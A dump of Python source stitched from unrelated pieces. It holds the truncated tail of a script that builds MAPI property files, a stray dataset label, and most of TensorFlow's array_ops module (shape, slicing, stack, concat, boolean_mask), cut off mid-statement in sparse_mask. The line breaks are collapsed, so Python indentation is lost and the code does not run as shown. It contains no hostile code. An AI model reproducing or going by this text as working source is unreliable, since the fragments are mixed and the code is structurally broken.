retcode != 0: print "Could not convert file to text:", retcode sys.exit(retcode) fix_problems(propsfilename) make_properties_list(propsfilename) if args.sanitycheck or args.sanitycheckonly: check_properties_list() # uses global variable # dump_areas_count() if args.sanitycheckonly == False: make_mapi_properties_file() make_mapi_named_properties_file() if __name__ == "__main__": main()
codeparrot/github-code-clean
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Support for manipulating tensors. See the @{$python/array_ops} guide. @@string_to_number @@to_double @@to_float @@to_bfloat16 @@to_int32 @@to_int64 @@cast @@bitcast @@saturate_cast @@broadcast_dynamic_shape @@broadcast_static_shape @@shape @@shape_n @@size @@rank @@reshape @@squeeze @@expand_dims @@meshgrid @@slice @@strided_slice @@split @@tile @@pad @@concat @@stack @@parallel_stack @@unstack @@reverse_sequence @@reverse @@reverse_v2 @@transpose @@extract_image_patches @@space_to_batch_nd @@space_to_batch @@required_space_to_batch_paddings @@batch_to_space_nd @@batch_to_space @@space_to_depth @@depth_to_space @@gather @@gather_nd @@unique_with_counts @@scatter_nd @@dynamic_partition @@dynamic_stitch @@boolean_mask @@one_hot @@sequence_mask @@dequantize @@quantize_v2 @@quantized_concat @@setdiff1d @@fake_quant_with_min_max_args @@fake_quant_with_min_max_args_gradient @@fake_quant_with_min_max_vars @@fake_quant_with_min_max_vars_gradient @@fake_quant_with_min_max_vars_per_channel @@fake_quant_with_min_max_vars_per_channel_gradient """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import sys import numpy as np from tensorflow.python.framework import common_shapes from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_shape from tensorflow.python.framework import tensor_util # 'Constant' gets imported in the module 'array_ops'. from tensorflow.python.framework.constant_op import constant from tensorflow.python.ops import gen_array_ops from tensorflow.python.ops import gen_math_ops # go/tf-wildcard-import # pylint: disable=wildcard-import from tensorflow.python.ops.gen_array_ops import * from tensorflow.python.util import deprecation from tensorflow.python.util.deprecation import deprecated # pylint: enable=wildcard-import # Used for slicing to specify a new 1 size dimension newaxis = None # We override the 'slice' for the "slice" op, so we keep python's # existing 'slice' for later use in this module. _baseslice = slice # pylint: disable=redefined-builtin,protected-access def expand_dims(input, axis=None, name=None, dim=None): """Inserts a dimension of 1 into a tensor's shape. Given a tensor `input`, this operation inserts a dimension of 1 at the dimension index `axis` of `input`'s shape. The dimension index `axis` starts at zero; if you specify a negative number for `axis` it is counted backward from the end. This operation is useful if you want to add a batch dimension to a single element. For example, if you have a single image of shape `[height, width, channels]`, you can make it a batch of 1 image with `expand_dims(image, 0)`, which will make the shape `[1, height, width, channels]`. Other examples: ```python # 't' is a tensor of shape [2] shape(expand_dims(t, 0)) ==> [1, 2] shape(expand_dims(t, 1)) ==> [2, 1] shape(expand_dims(t, -1)) ==> [2, 1] # 't2' is a tensor of shape [2, 3, 5] shape(expand_dims(t2, 0)) ==> [1, 2, 3, 5] shape(expand_dims(t2, 2)) ==> [2, 3, 1, 5] shape(expand_dims(t2, 3)) ==> [2, 3, 5, 1] ``` This operation requires that: `-1-input.dims() <= dim <= input.dims()` This operation is related to `squeeze()`, which removes dimensions of size 1. Args: input: A `Tensor`. axis: 0-D (scalar). Specifies the dimension index at which to expand the shape of `input`. name: The name of the output `Tensor`. dim: 0-D (scalar). Equivalent to `axis`, to be deprecated. Returns: A `Tensor` with the same data as `input`, but its shape has an additional dimension of size 1 added. Raises: ValueError: if both `dim` and `axis` are specified. """ # TODO(aselle): Remove argument dim if dim is not None: if axis is not None: raise ValueError("can't specify both 'dim' and 'axis'") axis = dim return gen_array_ops._expand_dims(input, axis, name) # pylint: enable=redefined-builtin,protected-access # Aliases for some automatically-generated names. # pylint: disable=protected-access @deprecated( "2016-11-30", "This op will be removed after the deprecation date. " "Please switch to tf.setdiff1d().") def listdiff(x, y, out_idx=None, name=None): return gen_array_ops._list_diff(x, y, out_idx, name) listdiff.__doc__ = gen_array_ops._list_diff.__doc__ + "\n" + listdiff.__doc__ # pylint: enable=protected-access # pylint: disable=undefined-variable,protected-access def setdiff1d(x, y, index_dtype=dtypes.int32, name=None): return gen_array_ops._list_diff(x, y, index_dtype, name) setdiff1d.__doc__ = gen_array_ops._list_diff.__doc__ # pylint: enable=protected-access def broadcast_dynamic_shape(shape_x, shape_y): # pylint: disable=protected-access """Returns the broadcasted dynamic shape between `shape_x` and `shape_y`. Args: shape_x: A rank 1 integer `Tensor`, representing the shape of x. shape_y: A rank 1 integer `Tensor`, representing the shape of y. Returns: A rank 1 integer `Tensor` representing the broadcasted shape. """ return gen_array_ops._broadcast_args(shape_x, shape_y) # pylint: enable=protected-access def broadcast_static_shape(shape_x, shape_y): """Returns the broadcasted static shape between `shape_x` and `shape_y`. Args: shape_x: A `TensorShape` shape_y: A `TensorShape` Returns: A `TensorShape` representing the broadcasted shape. Raises: ValueError: If the two shapes can not be broadcasted. """ return common_shapes.broadcast_shape(shape_x, shape_y) def shape(input, name=None, out_type=dtypes.int32): # pylint: disable=redefined-builtin """Returns the shape of a tensor. This operation returns a 1-D integer tensor representing the shape of `input`. For example: ```python # 't' is [[[1, 1, 1], [2, 2, 2]], [[3, 3, 3], [4, 4, 4]]] shape(t) ==> [2, 2, 3] ``` Args: input: A `Tensor` or `SparseTensor`. name: A name for the operation (optional). out_type: (Optional) The specified output type of the operation (`int32` or `int64`). Defaults to `tf.int32`. Returns: A `Tensor` of type `out_type`. """ return shape_internal(input, name, optimize=True, out_type=out_type) def shape_internal(input, name=None, optimize=True, out_type=dtypes.int32): # pylint: disable=redefined-builtin """Returns the shape of a tensor. Args: input: A `Tensor` or `SparseTensor`. name: A name for the operation (optional). optimize: if true, encode the shape as a constant when possible. out_type: (Optional) The specified output type of the operation (`int32` or `int64`). Defaults to tf.int32. Returns: A `Tensor` of type `out_type`. """ with ops.name_scope(name, "Shape", [input]) as name: if isinstance( input, (sparse_tensor.SparseTensor, sparse_tensor.SparseTensorValue)): return gen_math_ops.cast(input.dense_shape, out_type) else: input_tensor = ops.convert_to_tensor(input) input_shape = input_tensor.get_shape() if optimize and input_shape.is_fully_defined(): return constant(input_shape.as_list(), out_type, name=name) return gen_array_ops.shape(input, name=name, out_type=out_type) def size(input, name=None, out_type=dtypes.int32): # pylint: disable=redefined-builtin """Returns the size of a tensor. This operation returns an integer representing the number of elements in `input`. For example: ```python # 't' is [[[1, 1, 1], [2, 2, 2]], [[3, 3, 3], [4, 4, 4]]]] size(t) ==> 12 ``` Args: input: A `Tensor` or `SparseTensor`. name: A name for the operation (optional). out_type: (Optional) The specified output type of the operation (`int32` or `int64`). Defaults to tf.int32. Returns: A `Tensor` of type `out_type`. Defaults to tf.int32. """ return size_internal(input, name, optimize=True, out_type=out_type) def size_internal(input, name=None, optimize=True, out_type=dtypes.int32): # pylint: disable=redefined-builtin,protected-access """Returns the size of a tensor. Args: input: A `Tensor` or `SparseTensor`. name: A name for the operation (optional). optimize: if true, encode the size as a constant when possible. out_type: (Optional) The specified output type of the operation (`int32` or `int64`). Defaults to tf.int32. Returns: A `Tensor` of type `out_type`. """ with ops.name_scope(name, "Size", [input]) as name: if isinstance( input, (sparse_tensor.SparseTensor, sparse_tensor.SparseTensorValue)): return gen_math_ops._prod( gen_math_ops.cast(input.dense_shape, out_type), 0, name=name) else: input_tensor = ops.convert_to_tensor(input) input_shape = input_tensor.get_shape() if optimize and input_shape.is_fully_defined(): return constant(input_shape.num_elements(), out_type, name=name) return gen_array_ops.size(input, name=name, out_type=out_type) def rank(input, name=None): # pylint: disable=redefined-builtin """Returns the rank of a tensor. This operation returns an integer representing the rank of `input`. For example: ```python # 't' is [[[1, 1, 1], [2, 2, 2]], [[3, 3, 3], [4, 4, 4]]] # shape of tensor 't' is [2, 2, 3] rank(t) ==> 3 ``` **Note**: The rank of a tensor is not the same as the rank of a matrix. The rank of a tensor is the number of indices required to uniquely select each element of the tensor. Rank is also known as "order", "degree", or "ndims." Args: input: A `Tensor` or `SparseTensor`. name: A name for the operation (optional). Returns: A `Tensor` of type `int32`. @compatibility(numpy) Equivalent to np.ndim @end_compatibility """ return rank_internal(input, name, optimize=True) def rank_internal(input, name=None, optimize=True): # pylint: disable=redefined-builtin """Returns the rank of a tensor. Args: input: A `Tensor` or `SparseTensor`. name: A name for the operation (optional). optimize: if true, encode the rank as a constant when possible. Returns: A `Tensor` of type `int32`. """ with ops.name_scope(name, "Rank", [input]) as name: if isinstance( input, (sparse_tensor.SparseTensor, sparse_tensor.SparseTensorValue)): return gen_array_ops.size(input.dense_shape, name=name) else: input_tensor = ops.convert_to_tensor(input) input_shape = input_tensor.get_shape() if optimize and input_shape.ndims is not None: return constant(input_shape.ndims, dtypes.int32, name=name) return gen_array_ops.rank(input, name=name) def _SliceHelper(tensor, slice_spec, var=None): """Overload for Tensor.__getitem__. This operation extracts the specified region from the tensor. The notation is similar to NumPy with the restriction that currently only support basic indexing. That means that using a tensor as input is not currently allowed Some useful examples: ```python # strip leading and trailing 2 elements foo = tf.constant([1,2,3,4,5,6]) print(foo[2:-2].eval()) # => [3,4] # skip every row and reverse every column foo = tf.constant([[1,2,3], [4,5,6], [7,8,9]]) print(foo[::2,::-1].eval()) # => [[3,2,1], [9,8,7]] # Insert another dimension foo = tf.constant([[1,2,3], [4,5,6], [7,8,9]]) print(foo[tf.newaxis, :, :].eval()) # => [[[1,2,3], [4,5,6], [7,8,9]]] print(foo[:, tf.newaxis, :].eval()) # => [[[1,2,3]], [[4,5,6]], [[7,8,9]]] print(foo[:, :, tf.newaxis].eval()) # => [[[1],[2],[3]], [[4],[5],[6]], [[7],[8],[9]]] # Ellipses (3 equivalent operations) foo = tf.constant([[1,2,3], [4,5,6], [7,8,9]]) print(foo[tf.newaxis, :, :].eval()) # => [[[1,2,3], [4,5,6], [7,8,9]]] print(foo[tf.newaxis, ...].eval()) # => [[[1,2,3], [4,5,6], [7,8,9]]] print(foo[tf.newaxis].eval()) # => [[[1,2,3], [4,5,6], [7,8,9]]] ``` Notes: - `tf.newaxis` is `None` as in NumPy. - An implicit ellipsis is placed at the end of the `slice_spec` - NumPy advanced indexing is currently not supported. Args: tensor: An ops.Tensor object. slice_spec: The arguments to Tensor.__getitem__. var: In the case of variable slice assignment, the Variable object to slice (i.e. tensor is the read-only view of this variable). Returns: The appropriate slice of "tensor", based on "slice_spec". Raises: ValueError: If a slice range is negative size. TypeError: If the slice indices aren't int, slice, or Ellipsis. """ if not isinstance(slice_spec, (list, tuple)): slice_spec = [slice_spec] begin, end, strides = [], [], [] index = 0 new_axis_mask, shrink_axis_mask = 0, 0 begin_mask, end_mask = 0, 0 ellipsis_mask = 0 for s in slice_spec: if isinstance(s, _baseslice): strides.append(s.step if s.step is not None else 1) # python doesn't always use None when constructing ranges # for example a[:] gives slice(None,sys.maxsize,None) # whereas a[::1] gives slice(None,None,None) if s.start is not None and s.start is not sys.maxsize: begin.append(s.start) else: begin.append(0) begin_mask |= (1 << index) if s.stop is not None and s.stop != sys.maxsize: end.append(s.stop) else: end.append(0) end_mask |= (1 << index) elif s is Ellipsis: begin.append(0) end.append(0) strides.append(1) ellipsis_mask |= (1 << index) elif s is newaxis: begin.append(0) end.append(0) strides.append(1) new_axis_mask |= (1 << index) else: begin.append(s) end.append(s + 1) if isinstance(s, ops.Tensor): strides.append(constant(1, s.dtype)) else: strides.append(np.ones_like(s).dtype.type(1)) shrink_axis_mask |= (1 << index) index += 1 # stack possibly involves no tensors, so we must use op_scope correct graph. with ops.name_scope(None, "strided_slice", [tensor] + begin + end + strides) as name: if begin: packed_begin, packed_end, packed_strides = ( stack(begin), stack(end), stack(strides)) else: var_empty = constant([], dtype=dtypes.int32) packed_begin = packed_end = packed_strides = var_empty return strided_slice( tensor, packed_begin, packed_end, packed_strides, begin_mask=begin_mask, end_mask=end_mask, shrink_axis_mask=shrink_axis_mask, new_axis_mask=new_axis_mask, ellipsis_mask=ellipsis_mask, var=var, name=name) # pylint: disable=undefined-variable,protected-access def slice(input_, begin, size, name=None): # pylint: disable=redefined-builtin """Extracts a slice from a tensor. This operation extracts a slice of size `size` from a tensor `input` starting at the location specified by `begin`. The slice `size` is represented as a tensor shape, where `size[i]` is the number of elements of the 'i'th dimension of `input` that you want to slice. The starting location (`begin`) for the slice is represented as an offset in each dimension of `input`. In other words, `begin[i]` is the offset into the 'i'th dimension of `input` that you want to slice from. Note that @{tf.Tensor.__getitem__} is typically a more pythonic way to perform slices, as it allows you to write `foo[3:7, :-2]` instead of `tf.slice([3, 0], [4, foo.get_shape()[1]-2])`. `begin` is zero-based; `size` is one-based. If `size[i]` is -1, all remaining elements in dimension i are included in the slice. In other words, this is equivalent to setting: `size[i] = input.dim_size(i) - begin[i]` This operation requires that: `0 <= begin[i] <= begin[i] + size[i] <= Di for i in [0, n]` For example: ```python # 'input' is [[[1, 1, 1], [2, 2, 2]], # [[3, 3, 3], [4, 4, 4]], # [[5, 5, 5], [6, 6, 6]]] tf.slice(input, [1, 0, 0], [1, 1, 3]) ==> [[[3, 3, 3]]] tf.slice(input, [1, 0, 0], [1, 2, 3]) ==> [[[3, 3, 3], [4, 4, 4]]] tf.slice(input, [1, 0, 0], [2, 1, 3]) ==> [[[3, 3, 3]], [[5, 5, 5]]] ``` Args: input_: A `Tensor`. begin: An `int32` or `int64` `Tensor`. size: An `int32` or `int64` `Tensor`. name: A name for the operation (optional). Returns: A `Tensor` the same type as `input`. """ return gen_array_ops._slice(input_, begin, size, name=name) # pylint: disable=invalid-name def strided_slice(input_, begin, end, strides=None, begin_mask=0, end_mask=0, ellipsis_mask=0, new_axis_mask=0, shrink_axis_mask=0, var=None, name=None): """Extracts a strided slice of a tensor (generalized python array indexing). **Most users will want to use @{tf.Tensor.__getitem__} and @{tf.Variable.__getitem__}.** That allows NumPy style slicing syntax (i.e. `tensor[..., 3:4:-1, tf.newaxis, 3]`). This op is the low-level interface that are used to implement operators. Those interfaces are much more friendly, and highly recommended. To a first order, this operation extracts a slice of size `end - begin` from a tensor `input` starting at the location specified by `begin`. The slice continues by adding `stride` to the `begin` index until all dimensions are not less than `end`. Note that components of stride can be negative, which causes a reverse slice. This operation can be thought of an encoding of a numpy style sliced range. Given a python slice input[<spec0>, <spec1>, ..., <specn>] this function will be called as follows. `begin`, `end`, and `strides` will be all length n. n is in general not the same dimensionality as `input`. For the ith spec, `begin_mask`, `end_mask`, `ellipsis_mask`, `new_axis_mask`, and `shrink_axis_mask` will have the ith bit corresponding to the ith spec. If the ith bit of `begin_mask` is non-zero, `begin[i]` is ignored and the fullest possible range in that dimension is used instead. `end_mask` works analogously, except with the end range. `foo[5:,:,:3]` on a 7x8x9 tensor is equivalent to `foo[5:7,0:8,0:3]`. `foo[::-1]` reverses a tensor with shape 8. If the ith bit of `ellipsis_mask` is non-zero, as many unspecified dimensions as needed will be inserted between other dimensions. Only one non-zero bit is allowed in `ellipsis_mask`. For example `foo[3:5,...,4:5]` on a shape 10x3x3x10 tensor is equivalent to `foo[3:5,:,:,4:5]` and `foo[3:5,...]` is equivalent to `foo[3:5,:,:,:]`. If the ith bit of `new_axis_mask` is one, then `begin`, `end`, and `stride` are ignored and a new length 1 dimension is added at this point in the output tensor. For example `foo[3:5,4]` on a 10x8 tensor produces a shape 2 tensor whereas `foo[3:5,4:5]` produces a shape 2x1 tensor with shrink_mask being 1<<1 == 2. If the ith bit of `shrink_axis_mask` is one, then `begin`, `end[i]`, and `stride[i]` are used to do a slice in the appropriate dimension, but the output tensor will be reduced in dimensionality by one. This is only valid if the ith entry of slice[i]==1. NOTE: `begin` and `end` are zero-indexed`. `strides` entries must be non-zero. ```python # 'input' is [[[1, 1, 1], [2, 2, 2]], # [[3, 3, 3], [4, 4, 4]], # [[5, 5, 5], [6, 6, 6]]] tf.strided_slice(input, [1, 0, 0], [2, 1, 3], [1, 1, 1]) ==> [[[3, 3, 3]]] tf.strided_slice(input, [1, 0, 0], [2, 2, 3], [1, 1, 1]) ==> [[[3, 3, 3], [4, 4, 4]]] tf.strided_slice(input, [1, -1, 0], [2, -3, 3], [1, -1, 1]) ==>[[[4, 4, 4], [3, 3, 3]]] ``` Args: input_: A `Tensor`. begin: An `int32` or `int64` `Tensor`. end: An `int32` or `int64` `Tensor`. strides: An `int32` or `int64` `Tensor`. begin_mask: An `int32` mask. end_mask: An `int32` mask. ellipsis_mask: An `int32` mask. new_axis_mask: An `int32` mask. shrink_axis_mask: An `int32` mask. var: The variable corresponding to `input_` or None name: A name for the operation (optional). Returns: A `Tensor` the same type as `input`. """ if strides is None: strides = ones_like(begin) op = gen_array_ops.strided_slice( input=input_, begin=begin, end=end, strides=strides, name=name, begin_mask=begin_mask, end_mask=end_mask, ellipsis_mask=ellipsis_mask, new_axis_mask=new_axis_mask, shrink_axis_mask=shrink_axis_mask) parent_name = name def assign(val, name=None): """Closure that holds all the arguments to create an assignment.""" if var is None: raise ValueError("Sliced assignment is only supported for variables") if name is None: name = parent_name + "_assign" return var._strided_slice_assign( begin=begin, end=end, strides=strides, value=val, name=name, begin_mask=begin_mask, end_mask=end_mask, ellipsis_mask=ellipsis_mask, new_axis_mask=new_axis_mask, shrink_axis_mask=shrink_axis_mask) op.assign = assign return op def _SliceHelperVar(var, slice_spec): """Creates a slice helper object given a variable. This allows creating a sub-tensor from part of the current contents of a variable. See ${tf.Tensor$`Tensor.__getitem__`} for detailed examples of slicing. This function in addition also allows assignment to a sliced range. This is similar to `__setitem__` functionality in Python. However, the syntax is different so that the user can capture the assignment operation for grouping or passing to `sess.run()`. For example, ```python import tensorflow as tf A = tf.Variable([[1,2,3], [4,5,6], [7,8,9]], dtype=tf.float32) with tf.Session() as sess: sess.run(tf.global_variables_initializer()) print sess.run(A[:2, :2]) # => [[1,2], [4,5]] op = A[:2,:2].assign(22. * tf.ones((2, 2))) print sess.run(op) # => [[22, 22, 3], [22, 22, 6], [7,8,9]] ``` Note that assignments currently do not support NumPy broadcasting semantics. Args: var: An `ops.Variable` object. slice_spec: The arguments to `Tensor.__getitem__`. Returns: The appropriate slice of "tensor", based on "slice_spec". As an operator. The operator also has a `assign()` method that can be used to generate an assignment operator. Raises: ValueError: If a slice range is negative size. TypeError: If the slice indices aren't int, slice, or Ellipsis. """ return _SliceHelper(var._AsTensor(), slice_spec, var) ops.Tensor._override_operator("__getitem__", _SliceHelper) def parallel_stack(values, name="parallel_stack"): """Stacks a list of rank-`R` tensors into one rank-`(R+1)` tensor in parallel. Requires that the shape of inputs be known at graph construction time. Packs the list of tensors in `values` into a tensor with rank one higher than each tensor in `values`, by packing them along the first dimension. Given a list of length `N` of tensors of shape `(A, B, C)`; the `output` tensor will have the shape `(N, A, B, C)`. For example: ```python # 'x' is [1, 4] # 'y' is [2, 5] # 'z' is [3, 6] parallel_stack([x, y, z]) # => [[1, 4], [2, 5], [3, 6]] ``` The difference between `stack` and `parallel_stack` is that `stack` requires all the inputs be computed before the operation will begin but doesn't require that the input shapes be known during graph construction. `parallel_stack` will copy pieces of the input into the output as they become available, in some situations this can provide a performance benefit. Unlike `stack`, `parallel_stack` does NOT support backpropagation. This is the opposite of unstack. The numpy equivalent is tf.parallel_stack([x, y, z]) = np.asarray([x, y, z]) Args: values: A list of `Tensor` objects with the same shape and type. name: A name for this operation (optional). Returns: output: A stacked `Tensor` with the same type as `values`. """ with ops.name_scope(name): value_t = ops.convert_to_tensor(values[0]) value_shape = ops.convert_to_tensor(value_t).get_shape() output_shape = tensor_shape.TensorShape([len(values)]) output_shape = output_shape.concatenate(value_shape) # expand_dims converts concat to stack. return gen_array_ops._parallel_concat( [expand_dims(value, 0) for value in values], shape=output_shape) def stack(values, axis=0, name="stack"): """Stacks a list of rank-`R` tensors into one rank-`(R+1)` tensor. Packs the list of tensors in `values` into a tensor with rank one higher than each tensor in `values`, by packing them along the `axis` dimension. Given a list of length `N` of tensors of shape `(A, B, C)`; if `axis == 0` then the `output` tensor will have the shape `(N, A, B, C)`. if `axis == 1` then the `output` tensor will have the shape `(A, N, B, C)`. Etc. For example: ```python # 'x' is [1, 4] # 'y' is [2, 5] # 'z' is [3, 6] stack([x, y, z]) # => [[1, 4], [2, 5], [3, 6]] (Pack along first dim.) stack([x, y, z], axis=1) # => [[1, 2, 3], [4, 5, 6]] ``` This is the opposite of unstack. The numpy equivalent is ```python tf.stack([x, y, z]) = np.asarray([x, y, z]) ``` Args: values: A list of `Tensor` objects with the same shape and type. axis: An `int`. The axis to stack along. Defaults to the first dimension. Supports negative indexes. name: A name for this operation (optional). Returns: output: A stacked `Tensor` with the same type as `values`. Raises: ValueError: If `axis` is out of the range [-(R+1), R+1). """ if axis == 0: try: # If the input is a constant list, it can be converted to a constant op return ops.convert_to_tensor(values, name=name) except (TypeError, ValueError): pass # Input list contains non-constant tensors value_shape = ops.convert_to_tensor(values[0], name=name).get_shape() if value_shape.ndims is not None: expanded_num_dims = value_shape.ndims + 1 if axis < -expanded_num_dims or axis >= expanded_num_dims: raise ValueError("axis = %d not in [%d, %d)" % (axis, -expanded_num_dims, expanded_num_dims)) return gen_array_ops._pack(values, axis=axis, name=name) # pylint: disable=invalid-name def _autopacking_helper(list_or_tuple, dtype, name): """Converts the given list or tuple to a tensor by packing. Args: list_or_tuple: A (possibly nested) list or tuple containing a tensor. dtype: The element type of the returned tensor. name: A name for the returned tensor. Returns: A `tf.Tensor` with value equivalent to `list_or_tuple`. """ must_pack = False converted_elems = [] with ops.name_scope(name) as scope: for i, elem in enumerate(list_or_tuple): if ops.is_dense_tensor_like(elem): if dtype is not None and elem.dtype.base_dtype != dtype: raise TypeError( "Cannot convert a list containing a tensor of dtype " "%s to %s (Tensor is: %r)" % (elem.dtype, dtype, elem)) converted_elems.append(elem) must_pack = True elif isinstance(elem, (list, tuple)): converted_elem = _autopacking_helper(elem, dtype, str(i)) if ops.is_dense_tensor_like(converted_elem): must_pack = True converted_elems.append(converted_elem) else: converted_elems.append(elem) if must_pack: elems_as_tensors = [] for i, elem in enumerate(converted_elems): if ops.is_dense_tensor_like(elem): elems_as_tensors.append(elem) else: # NOTE(mrry): This is inefficient, but it enables us to # handle the case where the list arguments are other # convertible-to-tensor types, such as numpy arrays. elems_as_tensors.append( constant_op.constant(elem, dtype=dtype, name=str(i))) return gen_array_ops._pack(elems_as_tensors, name=scope) else: return converted_elems def _get_dtype_from_nested_lists(list_or_tuple): """Returns the dtype of any tensor-like object in `list_or_tuple`, if found. Args: list_or_tuple: A list or tuple representing an object that can be converted to a `tf.Tensor`. Returns: The dtype of any tensor-like object in `list_or_tuple`, or `None` if no such object exists. """ for elem in list_or_tuple: if ops.is_dense_tensor_like(elem): return elem.dtype.base_dtype elif isinstance(elem, (list, tuple)): maybe_dtype = _get_dtype_from_nested_lists(elem) if maybe_dtype is not None: return maybe_dtype return None def _autopacking_conversion_function(v, dtype=None, name=None, as_ref=False): """Tensor conversion function that automatically packs arguments.""" if as_ref: return NotImplemented inferred_dtype = _get_dtype_from_nested_lists(v) if inferred_dtype is None: # We did not find any tensor-like objects in the nested lists, so defer to # other conversion functions. return NotImplemented if dtype is not None and dtype != inferred_dtype: return NotImplemented return _autopacking_helper(v, inferred_dtype, name or "packed") # pylint: enable=invalid-name # NOTE: Register this conversion function to run *before* one that # assumes every element is a value. ops.register_tensor_conversion_function( (list, tuple), _autopacking_conversion_function, 99) def unstack(value, num=None, axis=0, name="unstack"): """Unpacks the given dimension of a rank-`R` tensor into rank-`(R-1)` tensors. Unpacks `num` tensors from `value` by chipping it along the `axis` dimension. If `num` is not specified (the default), it is inferred from `value`'s shape. If `value.shape[axis]` is not known, `ValueError` is raised. For example, given a tensor of shape `(A, B, C, D)`; If `axis == 0` then the i'th tensor in `output` is the slice `value[i, :, :, :]` and each tensor in `output` will have shape `(B, C, D)`. (Note that the dimension unpacked along is gone, unlike `split`). If `axis == 1` then the i'th tensor in `output` is the slice `value[:, i, :, :]` and each tensor in `output` will have shape `(A, C, D)`. Etc. This is the opposite of stack. The numpy equivalent is tf.unstack(x, n) = list(x) Args: value: A rank `R > 0` `Tensor` to be unstacked. num: An `int`. The length of the dimension `axis`. Automatically inferred if `None` (the default). axis: An `int`. The axis to unstack along. Defaults to the first dimension. Supports negative indexes. name: A name for the operation (optional). Returns: The list of `Tensor` objects unstacked from `value`. Raises: ValueError: If `num` is unspecified and cannot be inferred. ValueError: If `axis` is out of the range [-R, R). """ if num is None: value = ops.convert_to_tensor(value) value_shape = value.get_shape() if value_shape.ndims is not None: if axis < -value_shape.ndims or axis >= value_shape.ndims: raise ValueError("axis = %d not in [%d, %d)" % (axis, -value_shape.ndims, value_shape.ndims)) num = value_shape[axis].value if num is None: raise ValueError("Cannot infer num from shape %s" % value_shape) return gen_array_ops._unpack(value, num=num, axis=axis, name=name) def concat(values, axis, name="concat"): """Concatenates tensors along one dimension. Concatenates the list of tensors `values` along dimension `axis`. If `values[i].shape = [D0, D1, ... Daxis(i), ...Dn]`, the concatenated result has shape [D0, D1, ... Raxis, ...Dn] where Raxis = sum(Daxis(i)) That is, the data from the input tensors is joined along the `axis` dimension. The number of dimensions of the input tensors must match, and all dimensions except `axis` must be equal. For example: ```python t1 = [[1, 2, 3], [4, 5, 6]] t2 = [[7, 8, 9], [10, 11, 12]] tf.concat([t1, t2], 0) ==> [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12]] tf.concat([t1, t2], 1) ==> [[1, 2, 3, 7, 8, 9], [4, 5, 6, 10, 11, 12]] # tensor t3 with shape [2, 3] # tensor t4 with shape [2, 3] tf.shape(tf.concat([t3, t4], 0)) ==> [4, 3] tf.shape(tf.concat([t3, t4], 1)) ==> [2, 6] ``` Note: If you are concatenating along a new axis consider using stack. E.g. ```python tf.concat([tf.expand_dims(t, axis) for t in tensors], axis) ``` can be rewritten as ```python tf.stack(tensors, axis=axis) ``` Args: values: A list of `Tensor` objects or a single `Tensor`. axis: 0-D `int32` `Tensor`. Dimension along which to concatenate. name: A name for the operation (optional). Returns: A `Tensor` resulting from concatenation of the input tensors. """ if not isinstance(values, (list, tuple)): values = [values] # TODO(mrry): Change to return values? if len(values) == 1: # Degenerate case of one tensor. # Make a throwaway call to convert_to_tensor to make sure # that axis is of the correct type, and make sure that # the returned tensor is a scalar. # TODO(keveman): Implement a standalone type and shape checker. with ops.name_scope(name) as scope: ops.convert_to_tensor(axis, name="concat_dim", dtype=dtypes.int32).get_shape( ).assert_is_compatible_with(tensor_shape.scalar()) return identity(values[0], name=scope) return gen_array_ops._concat_v2(values=values, axis=axis, name=name) def boolean_mask(tensor, mask, name="boolean_mask"): """Apply boolean mask to tensor. Numpy equivalent is `tensor[mask]`. ```python # 1-D example tensor = [0, 1, 2, 3] mask = np.array([True, False, True, False]) boolean_mask(tensor, mask) ==> [0, 2] ``` In general, `0 < dim(mask) = K <= dim(tensor)`, and `mask`'s shape must match the first K dimensions of `tensor`'s shape. We then have: `boolean_mask(tensor, mask)[i, j1,...,jd] = tensor[i1,...,iK,j1,...,jd]` where `(i1,...,iK)` is the ith `True` entry of `mask` (row-major order). Args: tensor: N-D tensor. mask: K-D boolean tensor, K <= N and K must be known statically. name: A name for this operation (optional). Returns: (N-K+1)-dimensional tensor populated by entries in `tensor` corresponding to `True` values in `mask`. Raises: ValueError: If shapes do not conform. Examples: ```python # 2-D example tensor = [[1, 2], [3, 4], [5, 6]] mask = np.array([True, False, True]) boolean_mask(tensor, mask) ==> [[1, 2], [5, 6]] ``` """ def _apply_mask_1d(reshaped_tensor, mask): """Mask tensor along dimension 0 with a 1-D mask.""" indices = squeeze(where(mask), squeeze_dims=[1]) return gather(reshaped_tensor, indices) with ops.name_scope(name, values=[tensor, mask]): tensor = ops.convert_to_tensor(tensor, name="tensor") mask = ops.convert_to_tensor(mask, name="mask") shape_mask = mask.get_shape() ndims_mask = shape_mask.ndims shape_tensor = tensor.get_shape() if ndims_mask == 0: raise ValueError("mask cannot be scalar.") if ndims_mask is None: raise ValueError( "Number of mask dimensions must be specified, even if some dimensions" " are None. E.g. shape=[None] is ok, but shape=None is not.") shape_tensor[:ndims_mask].assert_is_compatible_with(shape_mask) leading_size = gen_math_ops._prod(shape(tensor)[:ndims_mask], [0]) tensor = reshape( tensor, concat([[leading_size], shape(tensor)[ndims_mask:]], 0)) first_dim = shape_tensor[:ndims_mask].num_elements() tensor.set_shape( tensor_shape.as_shape([first_dim]) .concatenate(shape_tensor[ndims_mask:])) mask = reshape(mask, [-1]) return _apply_mask_1d(tensor, mask) def sparse_mask(a, mask_indices, name=None): """Masks elements of `IndexedSlices`. Given an `IndexedSlices` instance `a`, returns another `IndexedSlices` that contains a subset of the slices of `a`. Only the slices at indices not specified in `mask_indices` are returned. This is useful when you need to extract a subset of slices in an `IndexedSlices` object. For example: ```python # `a` contains slices at indices [12, 26, 37, 45] from a large tensor # with shape [1000, 10] a.indices => [12, 26, 37, 45] tf.shape(a.values) => [4, 10] # `b` will be the subset of `a` slices at its second and third indices, so # we want to mask its first and last indices (which are at absolute # indices 12, 45) b = tf.sparse_mask(a, [12, 45]) b.indices => [26, 37] tf.shape(b.values) => [2, 10] ``` Args: a: An `IndexedSlices` instance. mask_indices: Indices of elements to mask. name: A name for the operation (optional). Returns: The masked `IndexedSlices` instance. """ with ops.name_scope(name, "sparse_mask", [a, mask_indices]) as name: indices = a.indices out_indices, to_gather = 